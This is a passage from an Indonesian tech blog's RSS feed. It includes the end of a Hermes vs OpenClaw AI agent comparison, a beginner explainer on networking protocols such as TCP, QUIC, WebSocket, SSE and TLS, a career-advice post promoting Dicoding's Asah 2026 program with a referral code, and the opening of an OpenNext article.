<p>❌ Semakin banyak plugin berarti semakin besar permukaan serangan; plugin pihak ketiga perlu diperlakukan sebagai kode yang tidak sepenuhnya tepercaya. (<a href="https://www.techradar.com/pro/what-are-openclaw-skills-a-detailed-guide?utm_source=chatgpt.com">TechRadar</a>)</p>
<hr />
<h1>Mana yang Cocok untuk Siapa?</h1>
<h3>Pilih Hermes jika:</h3>
<ul>
<li><p>ingin AI yang belajar sendiri,</p>
</li>
<li><p>banyak pekerjaan coding berulang,</p>
</li>
<li><p>fokus pada kualitas hasil,</p>
</li>
<li><p>menyukai Python,</p>
</li>
<li><p>ingin AI yang berkembang bersama workflow Anda.</p>
</li>
</ul>
<hr />
<h3>Pilih OpenClaw jika:</h3>
<ul>
<li><p>ingin menghubungkan banyak aplikasi,</p>
</li>
<li><p>membutuhkan otomatisasi lintas platform,</p>
</li>
<li><p>mengelola banyak channel komunikasi,</p>
</li>
<li><p>ingin ekosistem plugin yang matang.</p>
</li>
</ul>
<hr />
<h1>Rekomendasi Terbaik: Gunakan Keduanya</h1>
<p>Banyak pengguna berpengalaman justru menjalankan <strong>Hermes dan OpenClaw secara bersamaan</strong>.</p>
<p>Contoh arsitektur:</p>
<pre><code class="language-plaintext">WhatsApp
Telegram
Discord
Slack
       │
   OpenClaw
       │
Task Routing
       │
    Hermes
       │
Claude Code
Codex
Gemini CLI
Bun
Terminal
</code></pre>
<p>Dalam pola ini:</p>
<ul>
<li><p>OpenClaw menerima permintaan dari berbagai channel.</p>
</li>
<li><p>OpenClaw menentukan jenis pekerjaan.</p>
</li>
<li><p>Tugas coding atau analisis kompleks diteruskan ke Hermes.</p>
</li>
<li><p>Hermes mengerjakan, belajar dari hasilnya, lalu menyimpan pengalaman untuk tugas berikutnya.</p>
</li>
</ul>
<p>Pendekatan ini memanfaatkan kekuatan masing-masing: OpenClaw sebagai <strong>orchestrator</strong>, Hermes sebagai <strong>execution engine</strong> yang terus berkembang. (<a href="https://hundredtabs.com/blog/hermes-agent-vs-openclaw?utm_source=chatgpt.com">Hundred Tabs</a>)</p>
<hr />
<h1>Kesimpulan</h1>
<p>Hermes dan OpenClaw bukanlah musuh.</p>
<p>Mereka lahir dengan tujuan yang berbeda.</p>
<ul>
<li><p><strong>OpenClaw</strong> unggul sebagai pusat otomasi yang menghubungkan berbagai layanan dan AI model.</p>
</li>
<li><p><strong>Hermes</strong> unggul sebagai agent yang fokus menyelesaikan pekerjaan dan belajar dari pengalaman.</p>
</li>
</ul>
<p>Bagi developer solo, Hermes sering terasa lebih produktif untuk pekerjaan teknis yang berulang. Bagi tim atau organisasi yang membutuhkan integrasi luas, OpenClaw menawarkan fleksibilitas yang lebih besar. Dan untuk workflow AI yang paling lengkap, menggabungkan keduanya sering menjadi pilihan yang paling kuat. (<a href="https://hundredtabs.com/blog/hermes-agent-vs-openclaw?utm_source=chatgpt.com">Hundred Tabs</a>)</p>
]]></content:encoded></item><item><title><![CDATA[Memahami Protokol Penting untuk Developer Web Modern dan Cloud Infrastructure]]></title><description><![CDATA[Ketika membangun aplikasi modern seperti Next.js, Cloudflare Workers, platform AI, microservices, atau real-time dashboard, ada banyak istilah jaringan yang sering muncul: TCP, UDP, HTTP/2, QUIC, WebS]]></description><link>https://tech.finlup.id/memahami-protokol-penting-untuk-developer-web-modern-dan-cloud-infrastructure</link><guid isPermaLink="true">https://tech.finlup.id/memahami-protokol-penting-untuk-developer-web-modern-dan-cloud-infrastructure</guid><category><![CDATA[protocols]]></category><category><![CDATA[networking]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Wed, 15 Jul 2026 20:24:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/fbfac1ed-fc57-4602-9330-ad7bb4ac8b69.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Ketika membangun aplikasi modern seperti <strong>Next.js</strong>, <strong>Cloudflare Workers</strong>, <strong>platform AI</strong>, <strong>microservices</strong>, atau <strong>real-time dashboard</strong>, ada banyak istilah jaringan yang sering muncul: TCP, UDP, HTTP/2, QUIC, WebSocket, gRPC, WireGuard, TLS, hingga DNS.</p>
<p>Banyak developer menggunakan teknologi tersebut setiap hari tanpa benar-benar memahami perannya. Padahal, memahami bagaimana data bergerak dari browser hingga server akan membantu dalam merancang sistem yang lebih cepat, aman, dan skalabel.</p>
<p>Artikel ini membahas setiap teknologi tersebut, kapan digunakan, serta bagaimana semuanya saling berhubungan.</p>
<hr />
<h1>Gambaran Besar</h1>
<p>Sebelum membahas satu per satu, berikut alur sederhana ketika pengguna membuka sebuah website.</p>
<pre><code class="language-plaintext">Browser
   │
   ▼
DNS
   │
   ▼
IP Server
   │
TLS
   │
TCP / QUIC
   │
HTTP/2 / HTTP/3
   │
Web Server
</code></pre>
<p>Jika aplikasi membutuhkan komunikasi realtime, maka setelah HTTP terbentuk dapat beralih ke:</p>
<pre><code class="language-plaintext">HTTP
   │
   ├── WebSocket
   ├── SSE
   └── gRPC
</code></pre>
<hr />
<h1>1. TCP (Transmission Control Protocol)</h1>
<h2>Apa itu?</h2>
<p>TCP adalah protokol transport yang memastikan data dikirim secara <strong>lengkap, berurutan, dan tanpa kehilangan</strong>.</p>
<p>Ia merupakan fondasi hampir seluruh internet.</p>
<p>Contoh:</p>
<ul>
<li><p>membuka website</p>
</li>
<li><p>login</p>
</li>
<li><p>transfer file</p>
</li>
<li><p>database</p>
</li>
<li><p>email</p>
</li>
</ul>
<p>Semuanya menggunakan TCP.</p>
<hr />
<h2>Cara kerja</h2>
<p>Misalkan browser ingin mengirim:</p>
<pre><code class="language-plaintext">Halo Dunia
</code></pre>
<p>TCP akan membaginya menjadi paket-paket kecil.</p>
<pre><code class="language-plaintext">Packet 1
Packet 2
Packet 3
Packet 4
</code></pre>
<p>Server akan memastikan:</p>
<p>✓ semua paket diterima</p>
<p>✓ urutan benar</p>
<p>✓ paket hilang dikirim ulang</p>
<hr />
<h2>Kelebihan</h2>
<ul>
<li><p>Sangat andal</p>
</li>
<li><p>Menjamin urutan data</p>
</li>
<li><p>Banyak didukung</p>
</li>
</ul>
<h2>Kekurangan</h2>
<p>Lebih lambat dibanding UDP karena ada proses:</p>
<ul>
<li><p>ACK</p>
</li>
<li><p>Retransmission</p>
</li>
<li><p>Flow Control</p>
</li>
<li><p>Congestion Control</p>
</li>
</ul>
<hr />
<h2>Cocok digunakan</h2>
<ul>
<li><p>REST API</p>
</li>
<li><p>Login</p>
</li>
<li><p>Database</p>
</li>
<li><p>Upload file</p>
</li>
<li><p>Download file</p>
</li>
</ul>
<hr />
<h1>2. UDP (User Datagram Protocol)</h1>
<p>Berbeda dengan TCP.</p>
<p>UDP lebih mementingkan kecepatan.</p>
<p>Ia tidak peduli apakah paket hilang.</p>
<p>Misalnya:</p>
<pre><code class="language-plaintext">1
2
3
4
</code></pre>
<p>Jika paket nomor 2 hilang:</p>
<pre><code class="language-plaintext">1
3
4
</code></pre>
<p>UDP tetap melanjutkan.</p>
<p>Tidak meminta pengiriman ulang.</p>
<hr />
<h2>Mengapa?</h2>
<p>Karena untuk aplikasi realtime, terlambat lebih buruk daripada kehilangan sedikit data.</p>
<p>Misalnya:</p>
<p>Video Call</p>
<p>Lebih baik kehilangan satu frame daripada menunggu 300ms.</p>
<hr />
<h2>Digunakan oleh</h2>
<ul>
<li><p>Game Online</p>
</li>
<li><p>VoIP</p>
</li>
<li><p>Zoom</p>
</li>
<li><p>Google Meet</p>
</li>
<li><p>Discord</p>
</li>
<li><p>DNS</p>
</li>
<li><p>QUIC</p>
</li>
</ul>
<hr />
<h1>TCP vs UDP</h1>
<table>
<thead>
<tr>
<th>TCP</th>
<th>UDP</th>
</tr>
</thead>
<tbody><tr>
<td>Andal</td>
<td>Sangat cepat</td>
</tr>
<tr>
<td>Ada retransmission</td>
<td>Tidak ada</td>
</tr>
<tr>
<td>Ada ACK</td>
<td>Tidak ada</td>
</tr>
<tr>
<td>Berurutan</td>
<td>Tidak dijamin</td>
</tr>
<tr>
<td>Cocok untuk data penting</td>
<td>Cocok untuk realtime</td>
</tr>
</tbody></table>
<hr />
<h1>3. HTTP/2</h1>
<p>HTTP adalah bahasa komunikasi antara Browser dan Server.</p>
<p>Versi lama:</p>
<pre><code class="language-plaintext">HTTP/1.1
</code></pre>
<p>Setiap request sering membutuhkan koneksi tersendiri.</p>
<pre><code class="language-plaintext">HTML

CSS

JS

Font

Image
</code></pre>
<p>Semuanya antre.</p>
<hr />
<h2>HTTP/2 memperbaikinya</h2>
<p>Dengan Multiplexing.</p>
<pre><code class="language-plaintext">1 Connection

├ HTML
├ CSS
├ JS
├ Font
└ Image
</code></pre>
<p>Semua berjalan bersamaan.</p>
<hr />
<h2>Fitur</h2>
<ul>
<li><p>Multiplexing</p>
</li>
<li><p>Header Compression</p>
</li>
<li><p>Binary Protocol</p>
</li>
<li><p>Server Push (jarang dipakai sekarang)</p>
</li>
</ul>
<hr />
<h2>Digunakan oleh</h2>
<ul>
<li><p>Next.js</p>
</li>
<li><p>React</p>
</li>
<li><p>REST API</p>
</li>
<li><p>gRPC</p>
</li>
</ul>
<hr />
<h1>4. HTTP/3 dan QUIC</h1>
<p>HTTP/3 adalah evolusi HTTP.</p>
<p>Yang menarik:</p>
<p>HTTP/3 tidak memakai TCP.</p>
<p>Ia memakai QUIC.</p>
<pre><code class="language-plaintext">HTTP/3
      │
    QUIC
      │
     UDP
</code></pre>
<hr />
<h2>Apa itu QUIC?</h2>
<p>QUIC adalah transport modern.</p>
<p>Ia mencoba menggabungkan:</p>
<p>Kecepatan UDP</p>
<p>Keandalan TCP</p>
<hr />
<h2>Keunggulan</h2>
<p>Handshake lebih cepat.</p>
<p>Reconnect lebih cepat.</p>
<p>Tidak mengalami Head-of-Line Blocking seperti TCP.</p>
<p>Lebih cocok untuk mobile.</p>
<hr />
<h2>Dipakai oleh</h2>
<ul>
<li><p>Chrome</p>
</li>
<li><p>Edge</p>
</li>
<li><p>Firefox</p>
</li>
<li><p>Cloudflare</p>
</li>
<li><p>Google</p>
</li>
<li><p>YouTube</p>
</li>
</ul>
<hr />
<h1>5. WebSocket</h1>
<p>HTTP biasanya:</p>
<pre><code class="language-plaintext">Request

↓

Response

↓

Selesai
</code></pre>
<p>WebSocket berbeda.</p>
<p>Setelah koneksi terbentuk:</p>
<pre><code class="language-plaintext">Browser

⇅

Server
</code></pre>
<p>Keduanya dapat saling mengirim data kapan saja.</p>
<hr />
<h2>Cocok untuk</h2>
<ul>
<li><p>Chat AI</p>
</li>
<li><p>WhatsApp</p>
</li>
<li><p>Dashboard</p>
</li>
<li><p>Multiplayer Game</p>
</li>
<li><p>Trading</p>
</li>
<li><p>Monitoring Server</p>
</li>
</ul>
<hr />
<h2>Contoh</h2>
<pre><code class="language-plaintext">User mengetik

↓

Server langsung menerima

↓

AI membalas

↓

Browser menerima

↓

Semua realtime
</code></pre>
<hr />
<h1>6. SSE (Server-Sent Events)</h1>
<p>SSE lebih sederhana dibanding WebSocket.</p>
<p>Server hanya mengirim data.</p>
<p>Client tidak bisa mengirim balik melalui koneksi yang sama.</p>
<pre><code class="language-plaintext">Server

↓

↓

↓

↓

Browser
</code></pre>
<hr />
<h2>Sangat cocok untuk</h2>
<p>Streaming AI.</p>
<p>Misalnya ChatGPT.</p>
<pre><code class="language-plaintext">Hel

Hello

Hello Wo

Hello World
</code></pre>
<p>Server terus mengirim token.</p>
<hr />
<h2>Kelebihan</h2>
<p>Lebih sederhana.</p>
<p>Lebih hemat resource.</p>
<p>Reconnect otomatis.</p>
<hr />
<h2>Kekurangan</h2>
<p>Hanya satu arah.</p>
<hr />
<h1>SSE vs WebSocket</h1>
<table>
<thead>
<tr>
<th>SSE</th>
<th>WebSocket</th>
</tr>
</thead>
<tbody><tr>
<td>Satu arah</td>
<td>Dua arah</td>
</tr>
<tr>
<td>Lebih sederhana</td>
<td>Lebih kompleks</td>
</tr>
<tr>
<td>Cocok AI Streaming</td>
<td>Cocok Chat</td>
</tr>
</tbody></table>
<hr />
<h1>7. gRPC</h1>
<p>REST API menggunakan JSON.</p>
<pre><code class="language-plaintext">Browser

↓

JSON

↓

Server
</code></pre>
<p>gRPC menggunakan Protocol Buffers.</p>
<pre><code class="language-plaintext">Binary

↓

Lebih kecil

↓

Lebih cepat
</code></pre>
<hr />
<h2>Digunakan oleh</h2>
<ul>
<li><p>Google</p>
</li>
<li><p>Kubernetes</p>
</li>
<li><p>Istio</p>
</li>
<li><p>Microservices</p>
</li>
</ul>
<hr />
<h2>Kelebihan</h2>
<ul>
<li><p>Sangat cepat</p>
</li>
<li><p>Strongly Typed</p>
</li>
<li><p>Mendukung Streaming</p>
</li>
<li><p>Code Generation</p>
</li>
</ul>
<hr />
<h2>Cocok</h2>
<p>Backend ke Backend.</p>
<p>Bukan komunikasi browser biasa.</p>
<hr />
<h1>8. WireGuard</h1>
<p>WireGuard adalah VPN modern.</p>
<p>Misalnya:</p>
<pre><code class="language-plaintext">Laptop

↓

Internet

↓

VPS
</code></pre>
<p>Dengan WireGuard:</p>
<pre><code class="language-plaintext">Laptop

==== Encrypted Tunnel ====

VPS
</code></pre>
<p>Semua terenkripsi.</p>
<hr />
<h2>Digunakan</h2>
<ul>
<li><p>VPN</p>
</li>
<li><p>Server pribadi</p>
</li>
<li><p>Tailscale</p>
</li>
<li><p>Infrastruktur Cloud</p>
</li>
</ul>
<hr />
<h2>Kelebihan</h2>
<ul>
<li><p>Sangat cepat</p>
</li>
<li><p>Ringan</p>
</li>
<li><p>Konfigurasi sederhana</p>
</li>
<li><p>Latensi rendah</p>
</li>
</ul>
<hr />
<h1>9. TLS</h1>
<p>TLS adalah alasan mengapa website menggunakan:</p>
<pre><code class="language-plaintext">https://
</code></pre>
<p>Tanpa TLS:</p>
<pre><code class="language-plaintext">Password

↓

Internet
</code></pre>
<p>Bisa disadap.</p>
<p>Dengan TLS:</p>
<pre><code class="language-plaintext">Password

↓

Encrypted

↓

Internet
</code></pre>
<p>Tidak dapat dibaca pihak lain.</p>
<hr />
<h2>TLS dipakai oleh</h2>
<ul>
<li><p>HTTPS</p>
</li>
<li><p>SMTP</p>
</li>
<li><p>IMAP</p>
</li>
<li><p>HTTP/2</p>
</li>
<li><p>HTTP/3</p>
</li>
<li><p>VPN</p>
</li>
</ul>
<hr />
<h1>10. DNS</h1>
<p>Manusia mengingat:</p>
<pre><code class="language-plaintext">google.com
</code></pre>
<p>Komputer mengingat:</p>
<pre><code class="language-plaintext">142.250.xxx.xxx
</code></pre>
<p>DNS menerjemahkan:</p>
<pre><code class="language-plaintext">google.com

↓

IP Address
</code></pre>
<p>Tanpa DNS:</p>
<p>Kita harus menghafal IP seluruh website.</p>
<hr />
<h2>Jenis Record</h2>
<pre><code class="language-plaintext">A
AAAA
CNAME
MX
TXT
NS
SRV
</code></pre>
<p>Masing-masing memiliki fungsi berbeda.</p>
<hr />
<h1>Bagaimana Semuanya Terhubung?</h1>
<p>Ketika pengguna membuka:</p>
<pre><code class="language-plaintext">https://quran.finlup.id
</code></pre>
<p>Urutannya:</p>
<pre><code class="language-plaintext">1 DNS
      │
      ▼
2 Mendapatkan IP

      │
      ▼
3 TLS Handshake

      │
      ▼
4 TCP / QUIC

      │
      ▼
5 HTTP/2 atau HTTP/3

      │
      ▼
6 Next.js / Cloudflare Worker

      │
      ▼
7 Response ke Browser
</code></pre>
<p>Jika pengguna membuka fitur chat AI:</p>
<pre><code class="language-plaintext">Browser

↓

HTTPS

↓

Cloudflare

↓

Worker

↓

Proxy AI

↓

LLM
</code></pre>
<p>Lalu respons dapat dikirim secara bertahap menggunakan <strong>SSE</strong>, atau komunikasi dua arah yang lebih kompleks menggunakan <strong>WebSocket</strong>, tergantung kebutuhan aplikasi.</p>
<hr />
<h1>Memilih Teknologi yang Tepat</h1>
<table>
<thead>
<tr>
<th>Kebutuhan</th>
<th>Teknologi yang Direkomendasikan</th>
</tr>
</thead>
<tbody><tr>
<td>Website umum</td>
<td>HTTP/2 atau HTTP/3</td>
</tr>
<tr>
<td>REST API</td>
<td>HTTP/2</td>
</tr>
<tr>
<td>Streaming jawaban AI</td>
<td>SSE</td>
</tr>
<tr>
<td>Chat realtime</td>
<td>WebSocket</td>
</tr>
<tr>
<td>Multiplayer game</td>
<td>WebSocket atau UDP (sesuai arsitektur)</td>
</tr>
<tr>
<td>Komunikasi antar microservices</td>
<td>gRPC</td>
</tr>
<tr>
<td>VPN antar server</td>
<td>WireGuard</td>
</tr>
<tr>
<td>Enkripsi koneksi</td>
<td>TLS</td>
</tr>
<tr>
<td>Resolusi nama domain</td>
<td>DNS</td>
</tr>
</tbody></table>
<hr />
<h1>Kesimpulan</h1>
<p>Setiap protokol memiliki peran yang berbeda dalam membangun aplikasi modern:</p>
<ul>
<li><p><strong>DNS</strong> menemukan alamat server dari nama domain.</p>
</li>
<li><p><strong>TLS</strong> mengenkripsi komunikasi agar aman.</p>
</li>
<li><p><strong>TCP</strong> menyediakan transport yang andal untuk sebagian besar aplikasi.</p>
</li>
<li><p><strong>UDP</strong> mengutamakan kecepatan untuk komunikasi realtime.</p>
</li>
<li><p><strong>QUIC</strong> memanfaatkan UDP untuk menghadirkan transport modern yang cepat dan andal.</p>
</li>
<li><p><strong>HTTP/2</strong> dan <strong>HTTP/3</strong> menjadi fondasi komunikasi web masa kini.</p>
</li>
<li><p><strong>WebSocket</strong> memungkinkan komunikasi dua arah secara realtime.</p>
</li>
<li><p><strong>SSE</strong> menawarkan cara sederhana dan efisien untuk streaming data dari server ke browser.</p>
</li>
<li><p><strong>gRPC</strong> mengoptimalkan komunikasi antar layanan backend dengan performa tinggi.</p>
</li>
<li><p><strong>WireGuard</strong> menyediakan koneksi VPN yang ringan, aman, dan cepat.</p>
</li>
</ul>
<p>Memahami bagaimana protokol-protokol ini saling melengkapi akan memudahkan Anda memilih arsitektur yang tepat. Misalnya, aplikasi AI modern sering menggabungkan <strong>HTTP/3 + TLS + DNS</strong> untuk akses web, <strong>SSE</strong> untuk streaming respons model bahasa, <strong>gRPC</strong> untuk komunikasi internal antar layanan, dan <strong>WireGuard</strong> untuk menghubungkan server secara aman dalam satu jaringan privat. Dengan memahami dasar-dasar ini, Anda tidak hanya mengetahui <em>apa</em> yang digunakan, tetapi juga <em>mengapa</em> suatu teknologi lebih tepat dibanding yang lain pada skenario tertentu.</p>
]]></content:encoded></item><item><title><![CDATA[Mengapa Banyak Mahasiswa IT Lulus Tetapi Sulit Mendapat Pekerjaan?]]></title><description><![CDATA[Setiap tahun, ribuan mahasiswa jurusan Teknologi Informasi, Sistem Informasi, dan Teknik Informatika diwisuda. Namun, tidak sedikit di antara mereka yang kemudian menghadapi kenyataan yang cukup berat]]></description><link>https://tech.finlup.id/mengapa-banyak-mahasiswa-it-lulus-tetapi-sulit-mendapat-pekerjaan</link><guid isPermaLink="true">https://tech.finlup.id/mengapa-banyak-mahasiswa-it-lulus-tetapi-sulit-mendapat-pekerjaan</guid><category><![CDATA[asah]]></category><category><![CDATA[dicoding]]></category><category><![CDATA[2026]]></category><category><![CDATA[online courses]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Sun, 14 Jun 2026 08:50:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/dfec9d41-bd09-4ae2-a768-79b9be76bac7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Setiap tahun, ribuan mahasiswa jurusan Teknologi Informasi, Sistem Informasi, dan Teknik Informatika diwisuda. Namun, tidak sedikit di antara mereka yang kemudian menghadapi kenyataan yang cukup berat: sulit mendapatkan pekerjaan pertama di bidang teknologi.</p>
<p>Padahal industri digital terus berkembang. Kebutuhan akan software engineer, data analyst, AI engineer, dan berbagai profesi teknologi lainnya masih tinggi. Lalu, mengapa banyak lulusan IT justru kesulitan menembus dunia kerja?</p>
<p>Mari kita bahas beberapa penyebab utamanya.</p>
<h2>1. Terlalu Fokus pada Nilai, Kurang Fokus pada Karya</h2>
<p>Banyak mahasiswa menghabiskan waktu untuk mengejar IPK tinggi, tetapi lupa membangun portofolio.</p>
<p>Padahal, ketika melamar pekerjaan, perusahaan sering kali lebih tertarik melihat:</p>
<ul>
<li><p>Apa yang pernah Anda buat?</p>
</li>
<li><p>Proyek apa yang pernah Anda kerjakan?</p>
</li>
<li><p>Teknologi apa yang pernah Anda gunakan?</p>
</li>
<li><p>Bagaimana cara Anda menyelesaikan suatu masalah?</p>
</li>
</ul>
<p>Seorang mahasiswa dengan IPK biasa tetapi memiliki beberapa proyek nyata sering kali lebih menarik dibanding lulusan dengan IPK tinggi tetapi tanpa portofolio.</p>
<h2>2. Kurangnya Pengalaman Praktik</h2>
<p>Di bangku kuliah, sebagian mahasiswa hanya mengerjakan tugas untuk mendapatkan nilai.</p>
<p>Sementara di dunia kerja, perusahaan mencari orang yang mampu:</p>
<ul>
<li><p>membangun aplikasi;</p>
</li>
<li><p>bekerja dalam tim;</p>
</li>
<li><p>menggunakan Git dan GitHub;</p>
</li>
<li><p>membaca dokumentasi;</p>
</li>
<li><p>memecahkan masalah nyata.</p>
</li>
</ul>
<p>Sayangnya, banyak lulusan baru belum pernah mengalami proses tersebut.</p>
<p>Akibatnya, mereka merasa "sudah belajar banyak", tetapi belum siap menghadapi kebutuhan industri.</p>
<h2>3. Tidak Memiliki Portofolio yang Dapat Ditunjukkan</h2>
<p>Banyak fresh graduate mengirim CV yang hanya berisi:</p>
<ul>
<li><p>riwayat pendidikan;</p>
</li>
<li><p>organisasi;</p>
</li>
<li><p>IPK;</p>
</li>
<li><p>sertifikat.</p>
</li>
</ul>
<p>Namun tidak ada:</p>
<ul>
<li><p>aplikasi yang pernah dibuat;</p>
</li>
<li><p>proyek kelompok;</p>
</li>
<li><p>kontribusi open source;</p>
</li>
<li><p>capstone project;</p>
</li>
<li><p>akun GitHub yang aktif.</p>
</li>
</ul>
<p>Padahal portofolio adalah salah satu cara terbaik untuk menunjukkan kemampuan.</p>
<h2>4. Kurangnya Networking</h2>
<p>Tidak sedikit peluang kerja datang dari:</p>
<ul>
<li><p>teman;</p>
</li>
<li><p>mentor;</p>
</li>
<li><p>komunitas;</p>
</li>
<li><p>rekomendasi.</p>
</li>
</ul>
<p>Mahasiswa yang aktif dalam komunitas biasanya memiliki akses informasi yang lebih luas dibanding mereka yang belajar sendirian.</p>
<p>Networking bukan hanya soal mencari pekerjaan, tetapi juga tentang belajar, bertumbuh, dan menemukan kesempatan baru.</p>
<h2>5. Skill yang Dipelajari Tidak Selalu Sesuai Kebutuhan Industri</h2>
<p>Teknologi berkembang sangat cepat.</p>
<p>Saat ini industri banyak membutuhkan kemampuan seperti:</p>
<ul>
<li><p>Full-Stack Development;</p>
</li>
<li><p>Artificial Intelligence;</p>
</li>
<li><p>Data Science;</p>
</li>
<li><p>Cloud Computing;</p>
</li>
<li><p>Software Engineering Practices.</p>
</li>
</ul>
<p>Mahasiswa perlu terus belajar dan mengikuti perkembangan agar tetap relevan dengan kebutuhan dunia kerja.</p>
<h2>Jadi, Apa yang Sebenarnya Dicari Perusahaan?</h2>
<p>Perusahaan biasanya mencari kombinasi dari beberapa hal berikut:</p>
<ul>
<li><p>kemampuan teknis;</p>
</li>
<li><p>kemampuan bekerja sama;</p>
</li>
<li><p>portofolio;</p>
</li>
<li><p>pengalaman praktik;</p>
</li>
<li><p>kemauan belajar;</p>
</li>
<li><p>kemampuan berkomunikasi.</p>
</li>
</ul>
<p>Karena itulah, memiliki ijazah saja sering kali belum cukup.</p>
<h2>Bagaimana Cara Meningkatkan Peluang Mendapatkan Pekerjaan?</h2>
<p>Berikut beberapa langkah yang dapat mulai dilakukan sejak masih kuliah:</p>
<h3>1. Bangun Portofolio</h3>
<p>Mulailah membuat proyek nyata, meskipun sederhana.</p>
<h3>2. Ikut Komunitas</h3>
<p>Belajar bersama orang lain dapat memperluas wawasan dan jaringan.</p>
<h3>3. Pelajari Teknologi yang Dibutuhkan Industri</h3>
<p>Jangan hanya mengandalkan materi perkuliahan.</p>
<h3>4. Ikuti Program Belajar yang Terstruktur</h3>
<p>Program yang memberikan pengalaman praktik, proyek, dan bimbingan dapat membantu mempercepat proses belajar.</p>
<h2>Salah Satu Penyebab Utama: Minimnya Portofolio dan Pengalaman Praktik</h2>
<p>Banyak mahasiswa sebenarnya memiliki potensi besar, tetapi belum memiliki cukup kesempatan untuk:</p>
<ul>
<li><p>mengerjakan proyek nyata;</p>
</li>
<li><p>mendapatkan feedback;</p>
</li>
<li><p>membangun jaringan profesional;</p>
</li>
<li><p>memahami kebutuhan industri.</p>
</li>
</ul>
<p>Karena itu, mengikuti program pembelajaran yang lebih terstruktur dapat menjadi salah satu solusi.</p>
<h2>Mengenal Program Asah 2026</h2>
<p>Salah satu program yang menarik perhatian saya adalah <strong>Asah 2026 yang diselenggarakan oleh Dicoding</strong>.</p>
<p>Program ini menawarkan beberapa hal yang relevan dengan kebutuhan mahasiswa saat ini, di antaranya:</p>
<ul>
<li><p>pembelajaran yang terstruktur;</p>
</li>
<li><p>proyek dan pengalaman praktik;</p>
</li>
<li><p>networking dengan peserta dan mentor;</p>
</li>
<li><p>sertifikat penyelesaian program;</p>
</li>
<li><p>pengembangan soft skill dan kesiapan karier.</p>
</li>
</ul>
<p>Menurut saya, nilai terbesar dari program seperti ini bukan sekadar sertifikat, tetapi kesempatan untuk membangun <strong>skill, portofolio, dan jaringan</strong> sebelum lulus kuliah.</p>
<p>Jika Anda saat ini masih bingung memulai perjalanan di bidang teknologi, program seperti ini layak untuk dipelajari lebih lanjut.</p>
<h2>Tertarik Mempersiapkan Diri Lebih Serius di Bidang Teknologi?</h2>
<p>Jika Anda merasa artikel ini menggambarkan kondisi Anda—masih bingung membangun portofolio, kurang pengalaman praktik, atau ingin lebih siap menghadapi dunia kerja di bidang IT—maka Anda bisa mempertimbangkan salah satu program pembelajaran terstruktur berikut.</p>
<p><strong>Program Asah 2026 dari Dicoding</strong> dirancang untuk membantu peserta:</p>
<ul>
<li><p>belajar dengan alur yang lebih terarah</p>
</li>
<li><p>mengerjakan proyek untuk membangun portofolio</p>
</li>
<li><p>mendapatkan pengalaman praktik yang relevan dengan industri</p>
</li>
<li><p>terhubung dengan komunitas dan mentor</p>
</li>
<li><p>mempersiapkan diri menghadapi kebutuhan dunia kerja di era AI</p>
</li>
</ul>
<p>Sebagai informasi, pendaftaran melalui tautan ini memberikan <strong>potongan biaya sebesar 10% (hemat Rp25.000)</strong> dari biaya registrasi.</p>
<p>👉 Daftar melalui link berikut: <a href="https://www.dicoding.com/ref/AHRQ6SPP">https://www.dicoding.com/ref/AHRQ6SPP</a></p>
<p>atau langsung kunjungi <strong><a href="https://www.dicoding.com/asah">https://www.dicoding.com/asah</a></strong> , masukkan kode refferal <strong>AHRQ6SPP</strong></p>
<p>Tidak ada biaya tambahan jika Anda menggunakan link tersebut, dan potongan akan otomatis diterapkan saat pendaftaran.</p>
<p>Saya hanya membagikan ini sebagai salah satu opsi bagi yang benar-benar sedang mencari jalur belajar yang lebih terstruktur di bidang teknologi.</p>
<h2>Penutup</h2>
<p>Lulus dari jurusan IT tidak otomatis membuat seseorang siap bekerja.</p>
<p>Dunia kerja membutuhkan lebih dari sekadar ijazah. Dibutuhkan:</p>
<ul>
<li><p>kemampuan praktik;</p>
</li>
<li><p>portofolio;</p>
</li>
<li><p>pengalaman;</p>
</li>
<li><p>networking;</p>
</li>
<li><p>dan kemauan untuk terus belajar.</p>
</li>
</ul>
<p>Jika Anda masih kuliah, jangan menunggu sampai wisuda untuk mulai mempersiapkan diri.</p>
<p>Mulailah membangun karya, memperluas jaringan, dan mencari kesempatan belajar yang dapat membantu Anda menjadi lebih siap menghadapi dunia profesional.</p>
<hr />
<p><strong>Catatan:</strong> Artikel ini bukan ajakan untuk mengikuti program tertentu. Saya hanya berbagi informasi dan peluang belajar yang menurut saya dapat membantu mahasiswa dan fresh graduate mempersiapkan diri menghadapi dunia kerja di bidang teknologi.</p>
]]></content:encoded></item><item><title><![CDATA[OpenNext: Cara Menjalankan Next.js di Mana Saja Tanpa Terkunci Vercel]]></title><description><![CDATA[Jika Anda menggunakan Next.js, kemungkinan besar Anda pernah mendengar anggapan bahwa:

"Next.js = Vercel"

Padahal kenyataannya tidak harus demikian.
Di sinilah OpenNext hadir. OpenNext adalah proyek]]></description><link>https://tech.finlup.id/opennext-cara-menjalankan-next-js-di-mana-saja-tanpa-terkunci-vercel</link><guid isPermaLink="true">https://tech.finlup.id/opennext-cara-menjalankan-next-js-di-mana-saja-tanpa-terkunci-vercel</guid><category><![CDATA[opennext]]></category><category><![CDATA[Next.js]]></category><category><![CDATA[Vercel]]></category><category><![CDATA[cloudflare]]></category><category><![CDATA[Netlify]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Tue, 09 Jun 2026 01:13:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/689a8ca5-f987-4363-a34a-70c26db0fb2c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Jika Anda menggunakan Next.js, kemungkinan besar Anda pernah mendengar anggapan bahwa:</p>
<blockquote>
<p>"Next.js = Vercel"</p>
</blockquote>
<p>Padahal kenyataannya tidak harus demikian.</p>
<p>Di sinilah OpenNext hadir. OpenNext adalah proyek open source yang memungkinkan aplikasi Next.js dijalankan di berbagai platform cloud seperti AWS, Cloudflare Workers, Netlify, bahkan infrastruktur sendiri (self-hosted) tanpa bergantung pada Vercel. (<a href="https://opennext.js.org/?utm_source=chatgpt.com">OpenNext</a>)</p>
<hr />
<h1>Apa Itu OpenNext?</h1>
